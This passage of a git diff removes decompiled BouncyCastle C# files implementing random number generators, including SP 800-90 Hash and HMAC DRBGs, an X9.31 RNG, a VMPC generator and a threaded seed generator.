HashDF(IDigest digest, byte[] seedMaterial, int seedLength) - { - byte[] array = new byte[(seedLength + 7) / 8]; - int num = array.Length / digest.GetDigestSize(); - int num2 = 1; - byte[] array2 = new byte[digest.GetDigestSize()]; - for (int i = 0; i <= num; i++) - { - digest.Update((byte)num2); - digest.Update((byte)(seedLength >> 24)); - digest.Update((byte)(seedLength >> 16)); - digest.Update((byte)(seedLength >> 8)); - digest.Update((byte)seedLength); - digest.BlockUpdate(seedMaterial, 0, seedMaterial.Length); - digest.DoFinal(array2, 0); - int length = ((array.Length - i * array2.Length > array2.Length) ? array2.Length : (array.Length - i * array2.Length)); - Array.Copy(array2, 0, array, i * array2.Length, length); - num2++; - } - if (seedLength % 8 != 0) - { - int num3 = 8 - seedLength % 8; - uint num4 = 0u; - for (int j = 0; j != array.Length; j++) - { - uint num5 = array[j]; - array[j] = (byte)((num5 >> num3) | (num4 << 8 - num3)); - num4 = num5; - } - } - return array; - } - - internal static bool IsTooLarge(byte[] bytes, int maxBytes) - { - if (bytes != null) - { - return bytes.Length > maxBytes; - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/HMacSP800Drbg.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/HMacSP800Drbg.cs deleted file mode 100644 index 6c500e9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/HMacSP800Drbg.cs +++ /dev/null @@ -1,131 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Prng.Drbg; - -public class HMacSP800Drbg : ISP80090Drbg -{ - private static readonly long RESEED_MAX = 140737488355328L; - - private static readonly int MAX_BITS_REQUEST = 262144; - - private readonly byte[] mK; - - private readonly byte[] mV; - - private readonly IEntropySource mEntropySource; - - private readonly IMac mHMac; - - private readonly int mSecurityStrength; - - private long mReseedCounter; - - public int BlockSize => mV.Length * 8; - - public HMacSP800Drbg(IMac hMac, int securityStrength, IEntropySource entropySource, byte[] personalizationString, byte[] nonce) - { - if (securityStrength > DrbgUtilities.GetMaxSecurityStrength(hMac)) - { - throw new ArgumentException("Requested security strength is not supported by the derivation function"); - } - if (entropySource.EntropySize < securityStrength) - { - throw new ArgumentException("Not enough entropy for security strength required"); - } - mHMac = hMac; - mSecurityStrength = securityStrength; - mEntropySource = entropySource; - byte[] entropy = GetEntropy(); - byte[] seedMaterial = Arrays.ConcatenateAll(entropy, nonce, personalizationString); - mK = new byte[hMac.GetMacSize()]; - mV = new byte[mK.Length]; - Arrays.Fill(mV, 1); - hmac_DRBG_Update(seedMaterial); - mReseedCounter = 1L; - } - - private void hmac_DRBG_Update(byte[] seedMaterial) - { - hmac_DRBG_Update_Func(seedMaterial, 0); - if (seedMaterial != null) - { - hmac_DRBG_Update_Func(seedMaterial, 1); - } - } - - private void hmac_DRBG_Update_Func(byte[] seedMaterial, byte vValue) - { - mHMac.Init(new KeyParameter(mK)); - mHMac.BlockUpdate(mV, 0, mV.Length); - mHMac.Update(vValue); - if (seedMaterial != null) - { - mHMac.BlockUpdate(seedMaterial, 0, seedMaterial.Length); - } - mHMac.DoFinal(mK, 0); - mHMac.Init(new KeyParameter(mK)); - mHMac.BlockUpdate(mV, 0, mV.Length); - mHMac.DoFinal(mV, 0); - } - - public int Generate(byte[] output, byte[] additionalInput, bool predictionResistant) - { - int num = output.Length * 8; - if (num > MAX_BITS_REQUEST) - { - throw new ArgumentException("Number of bits per request limited to " + MAX_BITS_REQUEST, "output"); - } - if (mReseedCounter > RESEED_MAX) - { - return -1; - } - if (predictionResistant) - { - Reseed(additionalInput); - additionalInput = null; - } - if (additionalInput != null) - { - hmac_DRBG_Update(additionalInput); - } - byte[] array = new byte[output.Length]; - int num2 = output.Length / mV.Length; - mHMac.Init(new KeyParameter(mK)); - for (int i = 0; i < num2; i++) - { - mHMac.BlockUpdate(mV, 0, mV.Length); - mHMac.DoFinal(mV, 0); - Array.Copy(mV, 0, array, i * mV.Length, mV.Length); - } - if (num2 * mV.Length < array.Length) - { - mHMac.BlockUpdate(mV, 0, mV.Length); - mHMac.DoFinal(mV, 0); - Array.Copy(mV, 0, array, num2 * mV.Length, array.Length - num2 * mV.Length); - } - hmac_DRBG_Update(additionalInput); - mReseedCounter++; - Array.Copy(array, 0, output, 0, output.Length); - return num; - } - - public void Reseed(byte[] additionalInput) - { - byte[] entropy = GetEntropy(); - byte[] seedMaterial = Arrays.Concatenate(entropy, additionalInput); - hmac_DRBG_Update(seedMaterial); - mReseedCounter = 1L; - } - - private byte[] GetEntropy() - { - byte[] entropy = mEntropySource.GetEntropy(); - if (entropy.Length < (mSecurityStrength + 7) / 8) - { - throw new InvalidOperationException("Insufficient entropy provided by entropy source"); - } - return entropy; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/HashSP800Drbg.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/HashSP800Drbg.cs deleted file mode 100644 index 57fb308..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/HashSP800Drbg.cs +++ /dev/null @@ -1,189 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Prng.Drbg; - -public class HashSP800Drbg : ISP80090Drbg -{ - private static readonly byte[] ONE; - - private static readonly long RESEED_MAX; - - private static readonly int MAX_BITS_REQUEST; - - private static readonly IDictionary seedlens; - - private readonly IDigest mDigest; - - private readonly IEntropySource mEntropySource; - - private readonly int mSecurityStrength; - - private readonly int mSeedLength; - - private byte[] mV; - - private byte[] mC; - - private long mReseedCounter; - - public int BlockSize => mDigest.GetDigestSize() * 8; - - static HashSP800Drbg() - { - ONE = new byte[1] { 1 }; - RESEED_MAX = 140737488355328L; - MAX_BITS_REQUEST = 262144; - seedlens = Platform.CreateHashtable(); - seedlens.Add("SHA-1", 440); - seedlens.Add("SHA-224", 440); - seedlens.Add("SHA-256", 440); - seedlens.Add("SHA-512/256", 440); - seedlens.Add("SHA-512/224", 440); - seedlens.Add("SHA-384", 888); - seedlens.Add("SHA-512", 888); - } - - public HashSP800Drbg(IDigest digest, int securityStrength, IEntropySource entropySource, byte[] personalizationString, byte[] nonce) - { - if (securityStrength > DrbgUtilities.GetMaxSecurityStrength(digest)) - { - throw new ArgumentException("Requested security strength is not supported by the derivation function"); - } - if (entropySource.EntropySize < securityStrength) - { - throw new ArgumentException("Not enough entropy for security strength required"); - } - mDigest = digest; - mEntropySource = entropySource; - mSecurityStrength = securityStrength; - mSeedLength = (int)seedlens[digest.AlgorithmName]; - byte[] entropy = GetEntropy(); - byte[] seedMaterial = Arrays.ConcatenateAll(entropy, nonce, personalizationString); - byte[] array = DrbgUtilities.HashDF(mDigest, seedMaterial, mSeedLength); - mV = array; - byte[] array2 = new byte[mV.Length + 1]; - Array.Copy(mV, 0, array2, 1, mV.Length); - mC = DrbgUtilities.HashDF(mDigest, array2, mSeedLength); - mReseedCounter = 1L; - } - - public int Generate(byte[] output, byte[] additionalInput, bool predictionResistant) - { - int num = output.Length * 8; - if (num > MAX_BITS_REQUEST) - { - throw new ArgumentException("Number of bits per request limited to " + MAX_BITS_REQUEST, "output"); - } - if (mReseedCounter > RESEED_MAX) - { - return -1; - } - if (predictionResistant) - { - Reseed(additionalInput); - additionalInput = null; - } - if (additionalInput != null) - { - byte[] array = new byte[1 + mV.Length + additionalInput.Length]; - array[0] = 2; - Array.Copy(mV, 0, array, 1, mV.Length); - Array.Copy(additionalInput, 0, array, 1 + mV.Length, additionalInput.Length); - byte[] shorter = Hash(array); - AddTo(mV, shorter); - } - byte[] sourceArray = hashgen(mV, num); - byte[] array2 = new byte[mV.Length + 1]; - Array.Copy(mV, 0, array2, 1, mV.Length); - array2[0] = 3; - byte[] shorter2 = Hash(array2); - AddTo(mV, shorter2); - AddTo(mV, mC); - AddTo(shorter: new byte[4] - { - (byte)(mReseedCounter >> 24), - (byte)(mReseedCounter >> 16), - (byte)(mReseedCounter >> 8), - (byte)mReseedCounter - }, longer: mV); - mReseedCounter++; - Array.Copy(sourceArray, 0, output, 0, output.Length); - return num; - } - - private byte[] GetEntropy() - { - byte[] entropy = mEntropySource.GetEntropy(); - if (entropy.Length < (mSecurityStrength + 7) / 8) - { - throw new InvalidOperationException("Insufficient entropy provided by entropy source"); - } - return entropy; - } - - private void AddTo(byte[] longer, byte[] shorter) - { - int num = longer.Length - shorter.Length; - uint num2 = 0u; - int num3 = shorter.Length; - while (--num3 >= 0) - { - num2 += (uint)(longer[num + num3] + shorter[num3]); - longer[num + num3] = (byte)num2; - num2 >>= 8; - } - num3 = num; - while (--num3 >= 0) - { - num2 += longer[num3]; - longer[num3] = (byte)num2; - num2 >>= 8; - } - } - - public void Reseed(byte[] additionalInput) - { - byte[] entropy = GetEntropy(); - byte[] seedMaterial = Arrays.ConcatenateAll(ONE, mV, entropy, additionalInput); - byte[] array = DrbgUtilities.HashDF(mDigest, seedMaterial, mSeedLength); - mV = array; - byte[] array2 = new byte[mV.Length + 1]; - array2[0] = 0; - Array.Copy(mV, 0, array2, 1, mV.Length); - mC = DrbgUtilities.HashDF(mDigest, array2, mSeedLength); - mReseedCounter = 1L; - } - - private byte[] Hash(byte[] input) - { - byte[] array = new byte[mDigest.GetDigestSize()]; - DoHash(input, array); - return array; - } - - private void DoHash(byte[] input, byte[] output) - { - mDigest.BlockUpdate(input, 0, input.Length); - mDigest.DoFinal(output, 0); - } - - private byte[] hashgen(byte[] input, int lengthInBits) - { - int digestSize = mDigest.GetDigestSize(); - int num = lengthInBits / 8 / digestSize; - byte[] array = new byte[input.Length]; - Array.Copy(input, 0, array, 0, input.Length); - byte[] array2 = new byte[lengthInBits / 8]; - byte[] array3 = new byte[mDigest.GetDigestSize()]; - for (int i = 0; i <= num; i++) - { - DoHash(array, array3); - int length = ((array2.Length - i * array3.Length > array3.Length) ? array3.Length : (array2.Length - i * array3.Length)); - Array.Copy(array3, 0, array2, i * array3.Length, length); - AddTo(array, ONE); - } - return array2; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/ISP80090Drbg.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/ISP80090Drbg.cs deleted file mode 100644 index 6ccb8f8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/ISP80090Drbg.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Prng.Drbg; - -public interface ISP80090Drbg -{ - int BlockSize { get; } - - int Generate(byte[] output, byte[] additionalInput, bool predictionResistant); - - void Reseed(byte[] additionalInput); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/EntropyUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/EntropyUtilities.cs deleted file mode 100644 index d51916b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/EntropyUtilities.cs +++ /dev/null @@ -1,19 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Prng; - -public abstract class EntropyUtilities -{ - public static byte[] GenerateSeed(IEntropySource entropySource, int numBytes) - { - byte[] array = new byte[numBytes]; - int num; - for (int i = 0; i < numBytes; i += num) - { - byte[] entropy = entropySource.GetEntropy(); - num = System.Math.Min(array.Length, numBytes - i); - Array.Copy(entropy, 0, array, i, num); - } - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/IDrbgProvider.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/IDrbgProvider.cs deleted file mode 100644 index cc355f9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/IDrbgProvider.cs +++ /dev/null @@ -1,8 +0,0 @@ -using Org.BouncyCastle.Crypto.Prng.Drbg; - -namespace Org.BouncyCastle.Crypto.Prng; - -internal interface IDrbgProvider -{ - ISP80090Drbg Get(IEntropySource entropySource); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/IRandomGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/IRandomGenerator.cs deleted file mode 100644 index c266dc2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/IRandomGenerator.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Prng; - -public interface IRandomGenerator -{ - void AddSeedMaterial(byte[] seed); - - void AddSeedMaterial(long seed); - - void NextBytes(byte[] bytes); - - void NextBytes(byte[] bytes, int start, int len); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/ReversedWindowGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/ReversedWindowGenerator.cs deleted file mode 100644 index bcff0bb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/ReversedWindowGenerator.cs +++ /dev/null @@ -1,71 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Prng; - -public class ReversedWindowGenerator : IRandomGenerator -{ - private readonly IRandomGenerator generator; - - private byte[] window; - - private int windowCount; - - public ReversedWindowGenerator(IRandomGenerator generator, int windowSize) - { - if (generator == null) - { - throw new ArgumentNullException("generator"); - } - if (windowSize < 2) - { - throw new ArgumentException("Window size must be at least 2", "windowSize"); - } - this.generator = generator; - window = new byte[windowSize]; - } - - public virtual void AddSeedMaterial(byte[] seed) - { - lock (this) - { - windowCount = 0; - generator.AddSeedMaterial(seed); - } - } - - public virtual void AddSeedMaterial(long seed) - { - lock (this) - { - windowCount = 0; - generator.AddSeedMaterial(seed); - } - } - - public virtual void NextBytes(byte[] bytes) - { - doNextBytes(bytes, 0, bytes.Length); - } - - public virtual void NextBytes(byte[] bytes, int start, int len) - { - doNextBytes(bytes, start, len); - } - - private void doNextBytes(byte[] bytes, int start, int len) - { - lock (this) - { - int num = 0; - while (num < len) - { - if (windowCount < 1) - { - generator.NextBytes(window, 0, window.Length); - windowCount = window.Length; - } - bytes[start + num++] = window[--windowCount]; - } - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/SP800SecureRandom.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/SP800SecureRandom.cs deleted file mode 100644 index 42af5d3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/SP800SecureRandom.cs +++ /dev/null @@ -1,89 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Prng.Drbg; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Prng; - -public class SP800SecureRandom : SecureRandom -{ - private readonly IDrbgProvider mDrbgProvider; - - private readonly bool mPredictionResistant; - - private readonly SecureRandom mRandomSource; - - private readonly IEntropySource mEntropySource; - - private ISP80090Drbg mDrbg; - - internal SP800SecureRandom(SecureRandom randomSource, IEntropySource entropySource, IDrbgProvider drbgProvider, bool predictionResistant) - : base((IRandomGenerator)null) - { - mRandomSource = randomSource; - mEntropySource = entropySource; - mDrbgProvider = drbgProvider; - mPredictionResistant = predictionResistant; - } - - public override void SetSeed(byte[] seed) - { - lock (this) - { - if (mRandomSource != null) - { - mRandomSource.SetSeed(seed); - } - } - } - - public override void SetSeed(long seed) - { - lock (this) - { - if (mRandomSource != null) - { - mRandomSource.SetSeed(seed); - } - } - } - - public override void NextBytes(byte[] bytes) - { - lock (this) - { - if (mDrbg == null) - { - mDrbg = mDrbgProvider.Get(mEntropySource); - } - if (mDrbg.Generate(bytes, null, mPredictionResistant) < 0) - { - mDrbg.Reseed(null); - mDrbg.Generate(bytes, null, mPredictionResistant); - } - } - } - - public override void NextBytes(byte[] buf, int off, int len) - { - byte[] array = new byte[len]; - NextBytes(array); - Array.Copy(array, 0, buf, off, len); - } - - public override byte[] GenerateSeed(int numBytes) - { - return EntropyUtilities.GenerateSeed(mEntropySource, numBytes); - } - - public virtual void Reseed(byte[] additionalInput) - { - lock (this) - { - if (mDrbg == null) - { - mDrbg = mDrbgProvider.Get(mEntropySource); - } - mDrbg.Reseed(additionalInput); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/SP800SecureRandomBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/SP800SecureRandomBuilder.cs deleted file mode 100644 index b8ed482..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/SP800SecureRandomBuilder.cs +++ /dev/null @@ -1,142 +0,0 @@ -using Org.BouncyCastle.Crypto.Prng.Drbg; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Prng; - -public class SP800SecureRandomBuilder -{ - private class HashDrbgProvider : IDrbgProvider - { - private readonly IDigest mDigest; - - private readonly byte[] mNonce; - - private readonly byte[] mPersonalizationString; - - private readonly int mSecurityStrength; - - public HashDrbgProvider(IDigest digest, byte[] nonce, byte[] personalizationString, int securityStrength) - { - mDigest = digest; - mNonce = nonce; - mPersonalizationString = personalizationString; - mSecurityStrength = securityStrength; - } - - public ISP80090Drbg Get(IEntropySource entropySource) - { - return new HashSP800Drbg(mDigest, mSecurityStrength, entropySource, mPersonalizationString, mNonce); - } - } - - private class HMacDrbgProvider : IDrbgProvider - { - private readonly IMac mHMac; - - private readonly byte[] mNonce; - - private readonly byte[] mPersonalizationString; - - private readonly int mSecurityStrength; - - public HMacDrbgProvider(IMac hMac, byte[] nonce, byte[] personalizationString, int securityStrength) - { - mHMac = hMac; - mNonce = nonce; - mPersonalizationString = personalizationString; - mSecurityStrength = securityStrength; - } - - public ISP80090Drbg Get(IEntropySource entropySource) - { - return new HMacSP800Drbg(mHMac, mSecurityStrength, entropySource, mPersonalizationString, mNonce); - } - } - - private class CtrDrbgProvider : IDrbgProvider - { - private readonly IBlockCipher mBlockCipher; - - private readonly int mKeySizeInBits; - - private readonly byte[] mNonce; - - private readonly byte[] mPersonalizationString; - - private readonly int mSecurityStrength; - - public CtrDrbgProvider(IBlockCipher blockCipher, int keySizeInBits, byte[] nonce, byte[] personalizationString, int securityStrength) - { - mBlockCipher = blockCipher; - mKeySizeInBits = keySizeInBits; - mNonce = nonce; - mPersonalizationString = personalizationString; - mSecurityStrength = securityStrength; - } - - public ISP80090Drbg Get(IEntropySource entropySource) - { - return new CtrSP800Drbg(mBlockCipher, mKeySizeInBits, mSecurityStrength, entropySource, mPersonalizationString, mNonce); - } - } - - private readonly SecureRandom mRandom; - - private readonly IEntropySourceProvider mEntropySourceProvider; - - private byte[] mPersonalizationString = null; - - private int mSecurityStrength = 256; - - private int mEntropyBitsRequired = 256; - - public SP800SecureRandomBuilder() - : this(new SecureRandom(), predictionResistant: false) - { - } - - public SP800SecureRandomBuilder(SecureRandom entropySource, bool predictionResistant) - { - mRandom = entropySource; - mEntropySourceProvider = new BasicEntropySourceProvider(entropySource, predictionResistant); - } - - public SP800SecureRandomBuilder(IEntropySourceProvider entropySourceProvider) - { - mRandom = null; - mEntropySourceProvider = entropySourceProvider; - } - - public SP800SecureRandomBuilder SetPersonalizationString(byte[] personalizationString) - { - mPersonalizationString = personalizationString; - return this; - } - - public SP800SecureRandomBuilder SetSecurityStrength(int securityStrength) - { - mSecurityStrength = securityStrength; - return this; - } - - public SP800SecureRandomBuilder SetEntropyBitsRequired(int entropyBitsRequired) - { - mEntropyBitsRequired = entropyBitsRequired; - return this; - } - - public SP800SecureRandom BuildHash(IDigest digest, byte[] nonce, bool predictionResistant) - { - return new SP800SecureRandom(mRandom, mEntropySourceProvider.Get(mEntropyBitsRequired), new HashDrbgProvider(digest, nonce, mPersonalizationString, mSecurityStrength), predictionResistant); - } - - public SP800SecureRandom BuildCtr(IBlockCipher cipher, int keySizeInBits, byte[] nonce, bool predictionResistant) - { - return new SP800SecureRandom(mRandom, mEntropySourceProvider.Get(mEntropyBitsRequired), new CtrDrbgProvider(cipher, keySizeInBits, nonce, mPersonalizationString, mSecurityStrength), predictionResistant); - } - - public SP800SecureRandom BuildHMac(IMac hMac, byte[] nonce, bool predictionResistant) - { - return new SP800SecureRandom(mRandom, mEntropySourceProvider.Get(mEntropyBitsRequired), new HMacDrbgProvider(hMac, nonce, mPersonalizationString, mSecurityStrength), predictionResistant); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/ThreadedSeedGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/ThreadedSeedGenerator.cs deleted file mode 100644 index cfee7f3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/ThreadedSeedGenerator.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System; -using System.Threading; - -namespace Org.BouncyCastle.Crypto.Prng; - -public class ThreadedSeedGenerator -{ - private class SeedGenerator - { - private volatile int counter = 0; - - private volatile bool stop = false; - - private void Run(object ignored) - { - while (!stop) - { - counter++; - } - } - - public byte[] GenerateSeed(int numBytes, bool fast) - { - ThreadPriority priority = Thread.CurrentThread.Priority; - try - { - Thread.CurrentThread.Priority = ThreadPriority.Normal; - return DoGenerateSeed(numBytes, fast); - } - finally - { - Thread.CurrentThread.Priority = priority; - } - } - - private byte[] DoGenerateSeed(int numBytes, bool fast) - { - counter = 0; - stop = false; - byte[] array = new byte[numBytes]; - int num = 0; - int num2 = (fast ? numBytes : (numBytes * 8)); - ThreadPool.QueueUserWorkItem(Run); - for (int i = 0; i < num2; i++) - { - while (counter == num) - { - try - { - Thread.Sleep(1); - } - catch (Exception) - { - } - } - num = counter; - if (fast) - { - array[i] = (byte)num; - continue; - } - int num3 = i / 8; - array[num3] = (byte)((array[num3] << 1) | (num & 1)); - } - stop = true; - return array; - } - } - - public byte[] GenerateSeed(int numBytes, bool fast) - { - return new SeedGenerator().GenerateSeed(numBytes, fast); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/VmpcRandomGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/VmpcRandomGenerator.cs deleted file mode 100644 index 7c8cb6f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/VmpcRandomGenerator.cs +++ /dev/null @@ -1,79 +0,0 @@ -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Prng; - -public class VmpcRandomGenerator : IRandomGenerator -{ - private byte n = 0; - - private byte[] P = new byte[256] - { - 187, 44, 98, 127, 181, 170, 212, 13, 129, 254, - 178, 130, 203, 160, 161, 8, 24, 113, 86, 232, - 73, 2, 16, 196, 222, 53, 165, 236, 128, 18, - 184, 105, 218, 47, 117, 204, 162, 9, 54, 3, - 97, 45, 253, 224, 221, 5, 67, 144, 173, 200, - 225, 175, 87, 155, 76, 216, 81, 174, 80, 133, - 60, 10, 228, 243, 156, 38, 35, 83, 201, 131, - 151, 70, 177, 153, 100, 49, 119, 213, 29, 214, - 120, 189, 94, 176, 138, 34, 56, 248, 104, 43, - 42, 197, 211, 247, 188, 111, 223, 4, 229, 149, - 62, 37, 134, 166, 11, 143, 241, 36, 14, 215, - 64, 179, 207, 126, 6, 21, 154, 77, 28, 163, - 219, 50, 146, 88, 17, 39, 244, 89, 208, 78, - 106, 23, 91, 172, 255, 7, 192, 101, 121, 252, - 199, 205, 118, 66, 93, 231, 58, 52, 122, 48, - 40, 15, 115, 1, 249, 209, 210, 25, 233, 145, - 185, 90, 237, 65, 109, 180, 195, 158, 191, 99, - 250, 31, 51, 96, 71, 137, 240, 150, 26, 95, - 147, 61, 55, 75, 217, 168, 193, 27, 246, 57, - 139, 183, 12, 32, 206, 136, 110, 182, 116, 142, - 141, 22, 41, 242, 135, 245, 235, 112, 227, 251, - 85, 159, 198, 68, 74, 69, 125, 226, 107, 92, - 108, 102, 169, 140, 238, 132, 19, 167, 30, 157, - 220, 103, 72, 186, 46, 230, 164, 171, 124, 148, - 0, 33, 239, 234, 190, 202, 114, 79, 82, 152, - 63, 194, 20, 123, 59, 84 - }; - - private byte s = 190; - - public virtual void AddSeedMaterial(byte[] seed) - { - for (int i = 0; i < seed.Length; i++) - { - s = P[(s + P[n & 0xFF] + seed[i]) & 0xFF]; - byte b = P[n & 0xFF]; - P[n & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b; - n = (byte)((n + 1) & 0xFF); - } - } - - public virtual void AddSeedMaterial(long seed) - { - AddSeedMaterial(Pack.UInt64_To_BE((ulong)seed)); - } - - public virtual void NextBytes(byte[] bytes) - { - NextBytes(bytes, 0, bytes.Length); - } - - public virtual void NextBytes(byte[] bytes, int start, int len) - { - lock (P) - { - int num = start + len; - for (int i = start; i != num; i++) - { - s = P[(s + P[n & 0xFF]) & 0xFF]; - bytes[i] = P[(P[P[s & 0xFF] & 0xFF] + 1) & 0xFF]; - byte b = P[n & 0xFF]; - P[n & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b; - n = (byte)((n + 1) & 0xFF); - } - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/X931Rng.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/X931Rng.cs deleted file mode 100644 index bdc148b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/X931Rng.cs +++ /dev/null @@ -1,137 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Prng; - -internal class X931Rng -{ - private const long BLOCK64_RESEED_MAX = 32768L; - - private const long BLOCK128_RESEED_MAX = 8388608L; - - private const int BLOCK64_MAX_BITS_REQUEST = 4096; - - private const int BLOCK128_MAX_BITS_REQUEST = 262144; - - private readonly IBlockCipher mEngine; - - private readonly IEntropySource mEntropySource; - - private readonly byte[] mDT; - - private readonly byte[] mI; - - private readonly byte[] mR; - - private byte[] mV; - - private long mReseedCounter = 1L; - - internal IEntropySource EntropySource => mEntropySource; - - internal X931Rng(IBlockCipher engine, byte[] dateTimeVector, IEntropySource entropySource) - { - mEngine = engine; - mEntropySource = entropySource; - mDT = new byte[engine.GetBlockSize()]; - Array.Copy(dateTimeVector, 0, mDT, 0, mDT.Length); - mI = new byte[engine.GetBlockSize()]; - mR = new byte[engine.GetBlockSize()]; - } - - internal int Generate(byte[] output, bool predictionResistant) - { - if (mR.Length == 8) - { - if (mReseedCounter > 32768) - { - return -1; - } - if (IsTooLarge(output, 512)) - { - throw new ArgumentException("Number of bits per request limited to " + 4096, "output"); - } - } - else - { - if (mReseedCounter > 8388608) - { - return -1; - } - if (IsTooLarge(output, 32768)) - { - throw new ArgumentException("Number of bits per request limited to " + 262144, "output"); - } - } - if (predictionResistant || mV == null) - { - mV = mEntropySource.GetEntropy(); - if (mV.Length != mEngine.GetBlockSize()) - { - throw new InvalidOperationException("Insufficient entropy returned"); - } - } - int num = output.Length / mR.Length; - for (int i = 0; i < num; i++) - { - mEngine.ProcessBlock(mDT, 0, mI, 0); - Process(mR, mI, mV); - Process(mV, mR, mI); - Array.Copy(mR, 0, output, i * mR.Length, mR.Length); - Increment(mDT); - } - int num2 = output.Length - num * mR.Length; - if (num2 > 0) - { - mEngine.ProcessBlock(mDT, 0, mI, 0); - Process(mR, mI, mV); - Process(mV, mR, mI); - Array.Copy(mR, 0, output, num * mR.Length, num2); - Increment(mDT); - } - mReseedCounter++; - return output.Length; - } - - internal void Reseed() - { - mV = mEntropySource.GetEntropy(); - if (mV.Length != mEngine.GetBlockSize()) - { - throw new InvalidOperationException("Insufficient entropy returned"); - } - mReseedCounter = 1L; - } - - private void Process(byte[] res, byte[] a, byte[] b) - { - for (int i = 0; i != res.Length; i++) - { - res[i] = (byte)(a[i] ^ b[i]); - } - mEngine.ProcessBlock(res, 0, res, 0); - } - - private void Increment(byte[] val) - { - for (int num = val.Length - 1; num >= 0; num--) - { - byte[] array2; - byte[] array = (array2 = val); - int num2 = num; - nint num3 = num2; - if ((array[num2] = (byte)(array2[num3] + 1)) != 0) - { - break; - } - } - } - - private static bool IsTooLarge(byte[] bytes, int maxBytes) - { - if (bytes != null) - { - return bytes.Length > maxBytes; - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/X931SecureRandom.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/X931SecureRandom.cs deleted file mode 100644 index a05c287..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/X931SecureRandom.cs +++ /dev/null @@ -1,67 +0,0 @@ -using System; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Prng; - -public class X931SecureRandom : SecureRandom -{ - private readonly bool mPredictionResistant; - - private readonly SecureRandom mRandomSource; - - private readonly X931Rng mDrbg; - - internal X931SecureRandom(SecureRandom randomSource, X931Rng drbg, bool predictionResistant) - : base((IRandomGenerator)null) - { - mRandomSource = randomSource; - mDrbg = drbg; - mPredictionResistant = predictionResistant; - } - - public override void SetSeed(byte[] seed) - { - lock (this) - { - if (mRandomSource != null) - { - mRandomSource.SetSeed(seed); - } - } - } - - 